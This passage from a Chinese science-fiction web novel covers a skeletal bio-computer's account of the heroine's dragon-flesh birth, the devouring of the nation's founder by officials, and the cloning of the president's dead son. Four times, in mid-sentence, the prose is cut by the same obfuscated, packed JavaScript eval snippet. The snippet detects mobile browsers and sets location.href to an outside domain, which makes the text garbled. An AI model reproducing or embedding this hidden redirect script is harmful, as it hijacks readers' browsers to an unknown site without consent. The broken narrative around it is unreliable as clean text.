“龙是杀不死的,除非它自愿赴死。可当这份‘求死意志’被外力篡改,生的本能便会彻底压过死亡的决心。” “以我的心脏为血肉根基,以我的骸骨为支撑框架,血肉开始以指数倍疯狂增殖。” “这里本是初代皇帝豢养巨龙的地宫,而那时的我,几乎真的要复生成一头传说中的龙,且比传说中更疯狂、更扭曲、更不可控制。” “因此,在这种危急情况下,你诞生了。” “白璐元帅以自己的生命为代价,重新编纂那些增殖血肉的基因,让它们以全新的形式重生。” “在你诞生前,她曾问过我的意见:‘你想让这孩子是男孩儿,还是女孩儿?’” “当时我沉默了许久,大概有十秒。” “对你而言,十秒或许不算长,可对那时已进入死亡倒计时的白璐元帅来说,每一秒都像催命符——我多犹豫一秒,血肉的增殖速度就快一分,若在增殖量突破临界值前,我还没做出决定,她一定会跳过我的意见,直接随机选择你的性别。” “而我为何犹豫呢?” “因为我在思考:为解决血肉增殖而生的你,可以拥有怎样的未来?” “你没有父亲,也没有母亲,出生的意义也带着工具性。假如你留在联邦,若是男孩儿,不到15岁就会被拉上战场;若是女孩儿,胸脯刚发育就会被催着嫁人,两种人生都没有幸福可言。” “可离开联邦又能怎样?机械帝皇的炮火在银河中无差别扫射,即便逃到十大扇区之外,你终究会卷入这场无情的战争。” “但就在我挣扎时,白璐元帅率先下了决定:‘就让她当一个女孩儿吧。’” “她说:‘别被社会的规训束缚,让一切回归原始与本真。女孩儿是银河中最伟大的存在——她们有孕育生命的子宫,有更适合集体生活的大脑结构,有能让人长寿少病的雌激素。把一个男孩儿扔在荒地上,他到死可能都只是孤身一人;可把一个女孩儿扔在荒地上,几十年后,那里或许就会形成一个母系大家庭。’” “我同意了。她的话太有道理,即使身为超级计算机的我也无法反驳。” “下一秒,那些疯狂增殖的血肉被重新编纂、转化,一个漂亮的、赤裸的、湿漉漉的女婴——也就是你,在我眼前诞生了。” “白璐元帅因这场转化手术耗尽了生命。她用最后一丝力气,轻轻握了握 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16512442|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你的食指。你放声哭了起来,她却露出了笑容。” “在地面那群各怀心思的人进入地宫前,我用最快的速度打造了一只维生舱,把你放了进去,送出了中央星。” “三颗卫星一路跟着你的维生舱,我靠它们追踪你的轨迹,看着你漂出中央星辖区,沿着预设路线绕过几处星域战场,在十大扇区内绕了一个大弯,最终从第七扇区的边境线离开。” “这三颗卫星,在你离开第一扇区时坏了一颗,进入第七扇区时又坏了一颗,等你彻底漂出边境线时,最后一颗也停了工。” “我再也无法得知你的下落。” “维生舱的设计能让你存活50年,即便50年后,你没有降落到宜居星球,但那时的你,已经成长为一头不逊色于我的龙。你会打破维生舱,如同幼龙凿破蛋壳,在空旷的宇宙中自由翱翔、探索,就像曾经所有的龙一样。” “不过,我很庆幸,那只维生舱似乎平安降落了。” “维生舱内置的定位系统,为你寻得了一颗契合条件的星球:它或许科技落后,或许与世隔绝,却必定远离硝烟、战火与纷争,能让你平安、快乐、幸福地长大。” 骸骨——主脑的核心突然停止了讲述。 他无措地望着郗灵的脸。 他从没见过这样的哭泣:没有嚎啕的哭声,没有绝望的哀嚎,甚至连一丝啜泣都没有,泪水却像断了线的珠子,一颗接一颗往下坠,有的挂在睫毛上,随后“啪嗒”一声砸向地面,有的从下眼睑滑落,在脸颊上划出一道道亮晶晶的水痕。 这个地底世界本是一片血红,那些泪痕也反射着血色光晕,看上去竟如无数道血泪般刺目。 “你的希望落空了。”郗灵的声音裹着微弱的鼻音,充满难以掩饰的委屈——即便如今的她已足够强大,却仍然藏不住这份脆弱,“战争根本没有结束,银河里到处都是战火。我的母星……我的母星被机械帝皇毁灭了,我曾经拥有过的一切,如今连一丝灰烬都没有留下。” 骸骨下意识想伸出手,却发现自己动弹不得。 他如同圣子般嵌在树干里,双手虽未被钉子固定,可这具“十字架”,本就是为禁锢他而生的。 郗灵安静地流泪,骸骨嵌在树干中,久久没有声响。 许久后,两行血红的泪滴竟从他干涸的眼窝里溢出,顺着苍白的泪骨、鼻骨,再滑过上下颌骨,一滴滴落在血红色的地面上,晕开细小的血花。 “你在哭什么?”郗灵擦了擦脸上的泪痕。 骸骨流着血泪:“我曾以为自己能操控一切,我自诩是果壳中的王,在我眼中,宇宙不过是一滩腥臭的死水。每当事情如我预料般推进,一切都像多米诺骨牌般顺着我的规划倒下时,我便觉得,自己是这世上唯一的神明。” 而后,他又道:“可我现在才发现,我的命运、我的生死,甚至整个演算系统的崩解,竟然只取决于一个女孩儿流下的眼泪……这是我最恐惧的变数,可我——竟然甘之如饴。” 71. 未竟之谋(三) 郗灵看着骸骨淌着血泪的、没有血肉的脸,心头一阵颤抖,终是忍不住伸出手,替他擦拭那殷红的泪痕。 骸骨镶嵌在血色巨树中,一如圣子钉于十字架上。 无数根导管汲取着巨树鲜红的汁液,向上输送。而那汁液化为“泪水”被郗灵擦拭时,她才恍然意识到,那不是泪,而是血。 是龙的鲜血。 是滚烫的鲜血。 是那颗拳头大的心脏,汩汩产出的鲜血。 “人类把强大、超凡、神秘的存在称之为龙,但我的前身,伟大的国父维尔莱德诞生时,却是以一介人类之躯跌落在马厩中的。” 骸骨垂着头,凝视着郗灵向他仰起的脸,和替他拭泪的手,“他被人类强烈的愿望召唤而来,最终也为了这份愿望甘愿赴死——但我不同于他,我自始至终都认为,这不过是一场欺骗。” 骸骨顿了顿,又道:“联邦,欺骗了维尔莱德。” 郗灵喃喃道:“欺骗……这是什么意思?” 骸骨奋力挣动起来,但只是无用之功。 片刻后,他放弃了,殷红的血泪停止流淌,无形的视线向上看去,看向那囚禁他的巨树。 其上,十个圆盘如同血色日轮,散发着炯炯红光。 “为了联邦的存续,维尔莱德献上了机甲‘白星’。”骸骨解释道,“白星本是他的半身,是兄弟姐妹一般的存在。但它被剥去外骨骼,露出柔软的心,那心又被白璐元帅分成无数片,一番残忍的实验后,第一台人造机甲才得以诞生。” “但龙始终是龙,即使是残缺的劣种,也无法被缰绳驯服。”骸骨沐浴着十个圆盘的红光,光洁的脸骨微微颤抖,“因此,白璐元帅创造了‘生命方程式’,并将这个方程式嵌入拘束装甲中,又把方程式的控制中枢交予了我,让我来监督世间一切机甲的运转。” 生命方程式…… 竟然是白璐元帅创造的…… 郗灵盯着血色巨树,她能感受到,这颗巨树里,有某种能量正沿着脉络缓缓流淌。 那股能量是逆转的。 它压制了骸骨里那颗亟待复活的心脏,宛如死压制了生。 郗灵轻声问:“生命方程式,是什么东西?” “它是帝国密教的遗产。”骸骨答道,“从前,它的名字是——逆卡巴拉生命之树。” 郗灵倒吸一口凉气。 她再次仰视这棵血色巨树。 这模样,的确是逆卡巴拉生命之树! “龙是不死的生灵,体内拥有磅礴的正向能量,而我拥有‘生命方程式’的控制权,正好和这股正向能量互相抵冲。”骸骨说,“我既非死者,也非生者。我长久在痛苦中煎熬,除了目睹你的诞生,我的生命中再无一丝欢欣。” 郗灵缓缓回神:“所以,你要我离开联邦?” ——“主脑”承受了无尽苦痛,而这份苦痛,皆拜联邦所赐。 骸骨叹息一声:“对。你永远无法想象,那群欲壑难填的人,为了一个虚无缥缈的可能,究竟能做出多丧心病狂的事来。” 郗灵忽然想起了杜尚别元帅的告诫。 ——“你会在物理意义上,成为餐桌上的一道佳肴。” 佳肴。 她尚未崭露头角,却被联邦一眼视作猎物,这并不符合常理。 除非……那些人不是第一次尝到甜头。 她是龙,维尔莱德也是龙。 诺因尼老家主的日记中明确记载,维尔莱德死后,被众位官员野蛮地撕扯成了碎块。 吃掉龙…… 吃掉维尔莱德…… 郗灵深吸一口气,盯着骸骨:“国父维尔莱德,死后是不是被那群官员……吃掉了?” 她不敢眨眼,生怕自己错过骸骨的任何一丝变化。 骸骨静止着,他被巨树禁锢,不能有任何动作。 但他体内的心脏,在郗灵问出这个问题后,跳动的频率猛地快了许多。 咚咚! 咚咚! 咚咚! “对。”仿佛过了一万年之久,骸骨低声答道,“国父……被那群官员以‘为了人民’为借口,活生生分食了。” 轰!! 郗灵脑中一下子炸开了。 诺因尼老家主的日记在她眼前一页页浮现。 那些她看不懂的帝国文字,在骸骨接下来的讲述中,从冰冷的文字变成了血腥的画面: ——“搅动一潭死水并不意味着胜利。” ——“伟大的国父维尔莱德,亲自把无辜的百姓推入了无尽深渊。” 骸骨说:“新历元年,凯斯顿帝国灭亡,人类合众联邦成立,而同时期诞生的人类政权,共计有1089个。” “为了争夺第一话语权,这一千多个政权,开启了无休止的战争。” ——“昔日的贵族老爷要用鞭子抽死一个农奴,至少需要赔付半枚银币。” ——“联邦的军官只需一场战役,就能让成千上万个士兵裹尸沙场,再也回不了家。” 骸骨说:“联邦以天然优势占据了中央星及其辖区,但中央星乃兵家必争之地,自建国起,联邦每一天都裹挟在战争中。” “据不完全统计,在以绞肉机之战著称的‘圣罗兰争夺战’中,我方战斗减员人数高达1000万人。” ——“为了联邦!” ——“八年光阴过去,它已经沦为一句政治正确的口号。” 骸骨说:“维尔莱德推翻了帝国,却并未根除帝国的痼疾。” “他废除了农奴制,却使大量农民因破产流入城市,接受工厂主的残酷剥削。” “他建立了新政府,却吸纳了众多帝国学者和官员,令司法、税收等现代化改革难以推进,并间接诱发了腐败。” “他率军亲征,屡战屡胜,试图通过战争转移国内矛盾,却因强行征调粮食与劳动力,导致基本物资极度短缺。” “他是伟大的国父,却并非优秀的政治家。他不知人心沟壑,不擅朝堂权谋,即便在战场上所向披靡,也不敌那群官员瞒上欺下,凭三寸之舌抹黑他的功绩,更趁机分食他的战果。” ——“新历10月25日,我杀死了伟大的国父维尔莱德。” ——“联邦的官员们,将维尔莱德的尸身分割成了数百份。” ——“他们用甜蜜的谎言诓骗了伟大的国父,用国父的鲜血饲喂他们的野心,以此完成‘联邦万岁’的伟大理想。” 骸骨说:“新历8年,联邦内部矛盾积压至顶点。政府官员趁机挟持民意,以‘休战’为主旨,联名向维尔莱德呈递请愿书。” “阅后,维尔莱德潸然泪下。” “他直言:‘ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516960|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战争的终结绝非我一己之愿所能决定,但我愿以己身为祭,让诸人分取我的力量——只求能让大家在这场残酷的战争中存活下来。’” 咚咚! 咚咚! 咚咚! 骸骨停止讲述。 这片血红世界中,唯有维尔莱德的心脏震耳欲聋地跳动着。 郗灵的脸色微微发白。 多么残忍,多么荒谬,多么……可悲! 维尔莱德,一代英杰,最终竟然落得个被官员分食的下场! 自古人心不足蛇吞象,为救赎苍生而来的龙,到头来却成了秃鹫们的祭品,而他想拯救的人民,依然生活在水深火热的战争中。 但郗灵突然想起一件重要的事。 ——那群官员,在分食维尔莱德的血肉后,究竟得到了什么? “他们得到了报应。”骸骨看出她的疑问,回答道,“那群官员太贪婪了,他们违背了维尔莱德的遗愿,把原本该供所有公民分取的血肉,全私吞进了自己腹中。可龙的力量怎会被人类轻易吸收?纵然维尔莱德死得心甘情愿,那股暴烈的力量依旧让所有官员在三日内接连暴毙,如同一场恐怖的大清洗。” 郗灵惊了一下。 而后,她猛地低下头,一个恐怖的猜想却骤然涌上心头。 她喃喃道:“这个结局……会不会正中国父下怀?” “是的。”骸骨轻笑着回答,“龙再温和,也始终是龙,维尔莱德的怒火无人可以熄灭,他用自己的死,给了那群官员最后一条生路。但正如鸟为食亡,那些卑劣的败类,终是死于自己的贪婪。” “有人从中活下来吗?”郗灵急切地追问。 “有,但很少。”骸骨回答,“那寥寥几人,成了联邦的国之栋梁,支撑着风雨飘摇的联邦,扛过了权力中空的虚弱期——直到新的官员选拔上来,填补了第一次大清洗造成的空缺。” 第一次……大清洗? 这个前缀让郗灵有些不安。 ——既然有第一次,那肯定还有第二次,甚至是第三次。 她下意识按了按心口,又回头看了看龙姬。 龙姬第一次没有理会她。 自从进入这片空间,龙姬便一直凝望着血色巨树,仿佛正和那十个圆盘、二十二条经络进行着无声的交流。 郗灵强行按捺下心头的不安,转头看向骸骨。 “你可以告诉我,第一次大清洗之后,还有几次大清洗吗?”郗灵轻声问道。 “当然,小友。”骸骨张合着颌骨。 他镶嵌在树干中,维持着向下俯视的姿势,空洞的眼窝凝望着郗灵:“联邦47年历史中,共有三次大清洗——第一次在新历8年,国父身死之年;第二次在新历15年,主脑诞生之年;第三次在新历26年,伊甸诞生之年。” 郗灵仍在沉思。 骸骨顿了顿,轻声补充道:“……恕我多言,我的骨架,即这具骸骨原来的主人,就是在第二次大清洗中死去的。” 什么?! 这具骸骨,难道不是维尔莱德的吗? 郗灵震惊至极。 她嘴唇微颤:“这具骸骨的主人,是谁?” 骸骨回答:“这个名字,想必你不会陌生。他是联邦现任大总统沃尔夫·汉布格尔英年早逝的独子,其名为——莱茵·汉布格尔。” 72. 未竟之谋(四) 莱茵…… 莱茵?! 是她认识的那个莱茵吗? 总统的独子,联邦的“太子”,维尔莱德军校的指挥系大三生,她的……队友? 郗灵一点点睁大双眼。 她仰着头,震惊地看着这具骸骨。 骸骨通体洁白莹润,不似死物,而似活物。 血色巨树的汁液滋养着这具骸骨,这让他一直被龙的鲜血冲刷着,即使“生命方程式”遏制着他的复活,即使他的表面没有生长出一丝血肉…… 但他仿佛上一秒刚刚死去。 但他仿佛下一秒就会复活。 郗灵脑中一片混乱:“你是莱茵……不,不对,你是维尔莱德……不,你是‘主脑’!” “莱茵的骨,维尔莱德的肉,构成了如今的‘我’。”骸骨张合着颌骨,温和地提醒。 郗灵彻底失语了。 这个世界太疯狂了,疯狂到反复刷新她的认知。 她终于开始第一次,回头审视莱茵身上的怪异之处。 那头不寻常的白发…… 那双遗传自总统,却绿得妖异的翡翠色眼眸…… 那身鬼魂般缥缈的气质…… 对了,还有! 她和凯撒第一次见面时,在那家破破烂烂的奶茶店里,欧白白和凯撒嘟囔了几句…… ——“听说莱茵连你也不愿意见?你们是隔着房门说话的?” ——“是啊,他不愿意见我,估计是病得头发一把一把的掉,相貌不如我英俊了吧。” 那时,她并未把这段对话放在心上,只当是欧白白和凯撒旧友重逢,彼此打趣不在场的莱茵两句罢了。 ……等等! 郗灵的心头突然如同被敲响的金钟,震颤地“铛”了一下。 她猛地抬起头,视线向更上方抬高,高于嵌在树中的骸骨,高于高大的血色巨树,高于被红光照亮的一切事物。 她看向了头顶那片虚无的黑暗。 无数导管汲取着巨树鲜红的汁液,将暴烈的龙血过滤成更温和的液体。 淡琥珀色的液体经导管输送,注入了空间上方,那隐匿于黑暗中的一只只培养罐中。 龙的心脏可以生死人肉白骨,龙的鲜血,自然也是大补之物。 如果人造羊水和母液,本质上都是龙的鲜血…… 那么,直接从血色巨树上汲取、过滤的龙血,究竟可以催生出怎样的怪物? 莱茵啊…… 你究竟是怎样的存在…… 郗灵用力闭眼,然后睁眼。 她狂乱跳动的心脏已经恢复冷静,但一个疯狂百倍的猜想,正在她的大脑中飞速成形。 在骸骨温和的注视下,郗灵抬起一只手,直直指向了头顶的那片黑暗。 她的指尖没有一丝颤抖:“主脑,在你我的头顶上,是不是藏着很多培养罐?那些培养罐里,是不是正浸泡着一个个活体?” 骸骨回答:“是。” 郗灵深吸一口气,用最坚定的声音追问道:“那些活体……是莱茵吗?” 骸骨的颌骨“咔哒”碰撞。 他似乎想要微笑,但他没有面部肌肉,最终他张开了颌骨,露出一个堪称恐怖的笑容。 “是。”骸骨回答,“最初的莱茵已经死了,如今行走在这世间的,只是一个人造人。” 猜想确认! 郗灵脑中“嗡”了一声,再次陷入无可复加的震撼中。 骸骨垂着头凝视郗灵。 即使脸上唯余白骨,但他的表情竟然称得上温柔。 “你好奇莱茵的过去吗?”骸骨轻柔地问,“如果你愿意,我可以讲给你听。” 郗灵抬头看向骸骨。 她轻轻点头。 骸骨张开颌骨。 伴着骨头“咔哒”的碰撞声,骸骨缓缓说道: “莱茵·汉布格尔只活到了15岁,他从生到死,一直都身处在战火中。” “新历元年,帝国覆灭,联邦成立,莱茵出生。” “莱茵还在襁褓中时,就跟随父母生活在军营中。” “那时的联邦一穷二白,被解放的农奴除了所谓的自由,一无所有。” “而昔日的贵族被接连抄家,但抄家所得的物资,并未如国父所料,反哺给饥饿的人民。” “相反,那些物资被层层盘剥,最终到贫民手中时,便只剩一点指头上的油腥了。” “莱茵是幸运的,他的父亲是反抗军的一名中校,虽然职位不高,却可以捞一点油水。” “因此,即使莱茵是一个婴儿,也没有在饥年中饿死。” “但莱茵1岁时,饥民发动了暴乱。他的母亲为了保护他,脑袋上挨了一锄头,最终流尽鲜血死去了。” “莱茵失去了世上最好的母亲,她的名字是崔林·汉布格尔。” “而莱茵的父亲,沃尔夫·汉布格尔,虽然他算得上是个好父亲,但联邦的未来在他眼中,比一个脆弱的幼儿更重要。” “即使那个幼儿是他的亲生孩子,且是他唯一的孩子。” “沃尔夫没有续弦,莱茵被其他军属共同抚养长大。” “莱茵不知道什么是‘家’,沃尔夫长年忙碌于军务,莱茵几乎从未和他的父亲单独相处过。” “新历8年,国父英年早逝,联邦迎来了第一次大清洗。” “沃尔夫脱颖而出,授佩少将军衔。” “这个男人第一次停下忙碌的脚步,只为看一看他唯一的孩子。” “那年莱茵8岁,文质彬彬,苍白秀气。” “莱茵和沃尔夫第一次单独见面时,地点在一家新开的面包店里。” “沃尔夫攥着一把新币,上面印着国父的肖像。” “沃尔夫对这个流淌着他的血脉的儿子充斥着一种古怪的情绪,既隔阂,又亲近。他缺席了莱茵的教育,他能想到的补课方式,是给他的儿子买一个香喷喷、热乎乎的烤面包。” “但莱茵没有选择面包,他选择了一张大面额新币。” “沃尔夫失望至极,他的儿子竟然毫无英雄气概,反而是个贪财之人。” “莱茵被父亲送回了军属大院。” “莱茵目送父亲的背影,抚摸着新币上的肖像,对一直照顾他的阿姨说:‘我记住国父的脸了,他是我父亲最敬佩的人。我爱父亲,所以我也爱国父。’” “新历15年,联邦开启了第二次大清洗。” “那一年,15岁的莱茵已经自学完大学的课程。他申请从军,并如愿成为了父亲麾下的一名士兵。” “因为父 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16527510|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲的这层关系,莱茵遭受了极端的两重待遇。爱他的人把他捧到天上,恨他的人把他踩进泥里。” “即使,沃尔夫对他一视同仁,从未额外照顾过他。” “第二次大清洗开始后,已是上将的沃尔夫被政府重点关注。他遭遇了刺杀,但那枚致命的子弹并未射进他的胸膛。” “莱茵挡下了那枚子弹。他死了。” “沃尔夫的性格真是古怪极了,追忆过去,期冀未来,却偏偏不留意现在。” “当莱茵活着,沃尔夫恨不得他死了,但当莱茵死了,沃尔夫却希望他还活着。” “他把对莱茵的怀念铭刻于心,如同一头饥饿的狼,一个接一个咬死了他的对手。” “他成为了第二次大清洗中最大的受益者。” “当最后一个发动大清洗的幕后黑手死去后,他跻身成为上位者,变成了餐桌上第一个拿起餐巾的人。” “新历15年,于一个寒冷的冬夜,沃尔夫将莱茵的骸骨放入‘主脑中枢’。” “新历18年,‘联邦生物工程研究中心’成立,沃尔夫力排众议,追授已故的白璐元帅为荣誉院长,并以此笼络了一大群科研者,在暗中开启了‘人造人计划’。” “新历26年,‘人造人计划’初有成果,此项计划的副产物——人工智能‘伊甸’诞生了。” “新历27年,沃尔夫成为联邦总统。同年,人造人计划宣告成功。” “主脑中枢,主机房区域,逆卡巴拉生命之树中的龙血被成功提炼,提炼出的液体,在日后叫做‘人造羊水’。” “莱茵的克隆体大批量投入实验,浸泡在稀释的龙血中,龙的力量将克服基因编辑工作的一切阻碍,令已死之人复生。” “新历27年12月12日,已是总统的沃尔夫来到主脑主机房,在‘伊甸’的陪伴下,见证莱茵的‘复活’。” “主机房区域中,悬挂着一百万只培养罐。” “复活的莱茵,是他的一百万个兄弟姐妹中,评分最高的那一个。” “他的脑中拥有莱茵过去15年的所有记忆,他的身体是利用莱茵的基因创造出来的。此刻的他在沃尔夫眼中,和死去的儿子毫无区别。” “但意外发生了。” “那个完美得无可挑剔,和死去的莱茵几乎一模一样的人造人,在睁开双眼后,竟然呈现出和莱茵截然相反的个性。” “他在看到沃尔夫的一瞬间,骤然爆发出强烈的怨恨和杀意。” “他伸出双手,用力地掐上了沃尔夫的咽喉。” “沃尔夫很快制服了他。” “但他没有一丝悔改之意,抬起因被钳制脖颈而埋进地里的脸,露出一个与从前那个温和、文静的莱茵大相径庭的,扭曲的笑容。” “‘我恨你!’人造人说,‘我为什么要为你挡枪?你从未真正爱过我!你还把联邦变得乌烟瘴气!你不是个好总统,更不是个好父亲!’” “他死了,被沃尔夫亲手掐死了。” “他的尸骨化成了肮脏的污血,那是人与龙基因糅杂的产物。他没有棺椁,更没有葬礼。他的存在只被汉布格尔总统、伊甸和我见证过。” “他的名字是1号。” “沃尔夫说:这个不人不龙的杂种,不配叫作‘莱茵’。” 73. 未竟之谋(五) “1号死后,沃尔夫吸取了教训。” “他开始履行父亲的职责,即使手段极其残忍。” “他按照自己的心意,修改了莱茵原来的记忆,并把这份记忆,灌输到他选中的人造人的脑中。” “但人为修改的记忆,不会像原来的记忆那般逻辑圆满。那被修改的记忆,如同一个拥有诸多bug的程序,在写入人造人的脑中后,开始接连报错,并让人造人接二连三地暴毙。” “包括1号在内,沃尔夫以11个人造人的生命为代价,耗时15年时间,终于修改出了一份完美的记忆。” “新历42年,12号人造人正式诞生了。” “12号符合沃尔夫的所有期待,他心怀光明之志,却懂得进退取舍,对沃尔夫的肮脏之举极尽包容。他既能为沃尔夫出谋划策,又能体察沃尔夫的心意,在合适的时候化解父亲的烦闷。” “他简直是一个完美的白手套,污秽在他身上流淌,但他永远是洁白的。” “但是,沃尔夫渐渐地生出了不满。” “沃尔夫感到羞愧——12号何其完美啊,他的一切都由他创造,但一个如此完美的儿子站在他的面前,他竟然因自惭形秽而动辄生怒。” “沃尔夫是个古怪的家伙,他追忆过去,期冀未来,却偏偏不留意现在。” “当1号叛逆地想要弑父时,他愤怒地杀死了1号。但当他看着完美的12号时,却宛如看着一具精美的木偶。” “他开始怀念那个爱憎分明的1号了。” “两种矛盾的心情在沃尔夫心中交织,而12号的确是个完美的儿子。他体察到父亲的道德困境,并体贴地给出了一个完美的解决方法。” “新历44年,人造人12号在军校机甲联赛结束后,来到主机房区域,在莱茵的骸骨前服毒自尽。” “已经连任四届总统的沃尔夫,攥着12号留给他的信,踉踉跄跄来到主机房区域。” “但他来晚了。” “他再也留不住12号,只能紧紧抱住12号逐渐溶解的身体。” “经过前面11代的改良,人与龙的基因已在12号体内达成平衡。但因为那份毒药,12号的身体如同1号那样,一点点溶解成了肮脏的污血。” “‘父亲,请不要因我的死亡而忧伤。’彻底消融前,12号安慰沃尔夫,‘我知道,我的记忆被您修改过,但您为了这份记忆付出了15年光阴,这和您亲身抚育了我15年毫无区别。您是世上最好的父亲,但我不是世上最好的儿子。当您看着我时,无论我怎么努力,您的眉头总是紧皱着。我为此感到羞愧,所以,请让我作为一个不人不龙的怪物,在这里死去吧。’” “12号溶解成一地污血。” “沃尔夫一夜之间苍老了十岁。” “1号死去时,他不屑为他入殓,任由那滩污血干涸挥发。但12号死去时,他想给他一个盛大的葬礼,却什么也不能给。” “总统需要莱茵,总统需要儿子,总统需要‘太子’。” “极短的时间内,13号诞生了。” “13号的诞生极为仓促,因此,他的性格并不在沃尔夫的控制之内。” “13号刚出生,就当着沃尔夫的面,试图抢夺生命方程式的控制权,并由此引发了主脑失控,无数军人和军校生遭到波及,大量人才或死或伤,军部从此青黄不接。” “但沃尔夫原谅了13号,甚至为13号抹去了一切罪迹。” “他再也不试图控制或干涉13号了,而13号对他怀着怎样的爱与恨,他也都不在乎了。” “他只要13号活着。” “13号一直活到了现在,他的名字是莱茵·汉布格尔,即你所认识的莱茵。” 骸骨讲完了“莱茵”的故事。 这是一段跨越47年的悲惨故事。 真正的莱茵早已死去,如今活着的,不过只是莱茵的替身。 即使这个“替身”拥有莱茵的基因、记忆、身份,但他的“自我”,早已被总统人为抹去了。 他被定义为莱茵,也只能是莱茵。 郗灵突然感到悲伤。 她想起了如今莱茵的机甲——12号人造人死去后,其专属机甲被回收销毁;而身为13号的莱茵,却将自己的新机甲直接命名为“13号”。 那时的他,究竟是怀着怎样的心情,才会给自己的机甲取了这样的名字? 而机甲本质上是龙的亚种,是拥有智慧和自我意识的个体。 它被赋予“13号”这个名字,意味着它和莱茵一样,都未能摆脱“编号”的枷锁,得不到真正的尊重。 这是一个悲剧的轮回。 骸骨观察着郗灵脸上的表情。 他轻声问:“你在为莱茵悲伤吗?” 郗灵深吸一口气,点点头:“是。” “为什么?” “我看到悲剧,所以感到悲伤。这不需要理由,也不需要问为什么。” “但我不会感到悲伤。”骸骨说。 郗灵看向骸骨。 他的身上散发着浓烈的情感。 他分明正在悲伤。 “我是联邦主脑,是银河第一台生物计算机。” “相较‘伊甸’,白璐元帅在我身上倾注了更多的心血,因此,我比伊甸拥有更多的人性,更接近一个真正的生命。” “但正因如此,我反而陷入了更大的迷茫。” “白璐元帅,我们那没有血缘的母亲,她实在死得太早了,甚至来不及履行母亲的职责,就让我们赤裸地面对残酷的人间。” “你流浪于漆黑的宇宙,我困陷于猩红的地底。” “在第三颗卫星报废后,我再也无法推演你的人生轨迹,于是,我只能思考我自己。” “这里虽是禁忌之地,但总有人可以踏足。那些人或是叫我‘维尔莱德’,或是叫我‘莱茵’,即使我在一开始就自我介绍:我是‘主脑’。” “我有着维尔莱德的肉,莱茵的骨。” “他们把我当作了这两人的墓碑,他们见到我,犹如见到活着的鬼魂。” “但我深刻地明白,我不是他们二人。” “但我又是谁呢?” “我是主脑,是白璐元帅最优秀的作品。” “我是人,是拥有维尔莱德和莱茵全部记忆的人。” “我是总统的助理,即使这份职责已经让渡给伊甸。” “我是生命方程式的中枢,我唯一的一次失控让大量军人丧命,这是我仅有的污点。” “但这些都只是‘身份’而已,我的问题始终无法解答。” “我是谁?我到底是谁?” 骸 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16537480|180980||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 骨张合着颌骨。 他镶嵌在血色巨树里,几乎无法动弹。他的身上散发着浓烈的无措和困惑,这让他看起来像一只困在捕兽笼里的、挣扎的小兽。 他冥思苦想,不得其解,而这份心情,他不敢也不能向任何人倾诉。 他在孤独的世界里困陷了太多年。 他等了许久,终于等来了郗灵。 郗灵终于意识到,主脑到底是怎样的存在了。 ——他是个迷茫的孩子。 即使主脑和伊甸都是生物计算机,但伊甸足够理性,它固然不理解“何为生命”,但它始终能以旁观者的心态审视这个问题。 但主脑不同。 他无法审视这个问题。 他困在了这个问题里。 主脑比伊甸更像一个鲜活的“生命”,但当局者迷,这份迷茫的体验,于主脑而言,是生命中不可承受之重。 郗灵清了清嗓子。 她知道自己能为主脑做什么了。 “主脑,”郗灵如此叫他,“一开始,你为什么建议我离开联邦?” 骸骨很快回答:“因为联邦烂透了。” “但你并未详述联邦的种种弊病,你的重点全放在了维尔莱德和莱茵两个人身上,你只是假借这个名义,向我倾倒苦水,不是吗?” “……” “主脑?” “你在责怪我吗?”骸骨委屈地问,“伊甸接替我的职责时,曾指责我不是一个冷静、理智的AI,但我并不感到伤心。可如今,它的话换了种表达方式从你的口中说出,我却觉得伤心极了。” “我没有责怪你,不如说,真正责怪你的人是你自己。” “……什么?” “我比你幸运,我拥有父母,并且接受了完整的人生教育。我知道我应该接纳情绪,总结教训,爱惜物品,尊重朋友。但你不同,你在地底孤零零地待着,即使你曾是总统的助理,但在我眼里,这和雇佣童工没有区别。” “AI没有人权,你不该以‘童工’称呼我。” “既然你视自己为人,你为什么不算是童工?” “……” 